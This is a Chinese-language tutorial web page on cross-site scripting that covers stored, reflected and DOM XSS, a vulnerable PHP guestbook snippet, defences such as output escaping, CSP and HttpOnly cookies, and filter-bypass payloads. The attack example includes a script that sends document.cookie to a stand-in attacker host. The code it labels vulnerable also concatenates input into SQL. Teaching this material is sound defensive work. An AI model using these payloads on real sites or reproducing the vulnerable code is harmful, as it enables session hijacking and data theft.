[HOME] 首页 [DASH] 仪表盘 [ATK] 攻击模拟 [RES] 资源库 [DOC] 术语表 [TEST] 安全测验 [MSG] 留言板 [ADMIN] 管理后台 [USER] 登录 / 注册

深度解析 XSS 跨站脚本攻击原理与防御策略

什么是 XSS?


XSS(Cross-Site Scripting)即跨站脚本攻击,是 Web 应用中最常见的安全漏洞之一。攻击者通过在页面中注入恶意 JavaScript 代码,当其他用户访问该页面时,代码会在用户浏览器中执行,从而窃取 Cookie、会话令牌,或进行钓鱼攻击。


XSS 的三种类型


1. 存储型 XSS(Stored XSS)


恶意代码被永久存储在目标服务器的数据库或文件中。当用户访问包含该数据的页面时,代码被执行。危害最大。


2. 反射型 XSS(Reflected XSS)


恶意代码作为用户请求的一部分,被服务器接收并「反射」回用户浏览器。通常通过 URL 参数传播。


3. DOM 型 XSS(DOM-based XSS)


完全在客户端执行,通过操作 DOM 对象注入恶意代码。


攻击示例


存储型 XSS 最经典的场景是留言板。用户提交的内容被直接存入数据库,其他用户访问时内容被直接渲染:


// 存在漏洞的代码(仅供学习)
$content = $_POST['content'];
$db->query("INSERT INTO comments (content) VALUES ('$content')");
// 输出时直接渲染
echo $row['content']; // 危险!

攻击者提交:


<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>

所有访问该页面的用户都会触发此代码,Cookie 被发送到攻击者服务器。


防御措施


1. htmlspecialchars():输出时转义 < > & 等字符
2. Content Security Policy (CSP):通过 HTTP 头限制脚本来源
3. HttpOnly Cookie:禁止 JavaScript 读取 Cookie
4. 输入验证:白名单过滤,移除危险标签和属性


echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// ENT_QUOTES 同时转义单引号和双引号

绕过技术


大小写混合


<ScRiPt>alert(1)</sCrIpT>

事件处理器


<img src=x onerror=alert(1)>
<body onload=alert(1)>

数据协议


<a href="data:text/html,<script>alert(1)</script>">click</a>

MSG 评论 (0)

暂无评论,来发表第一条吧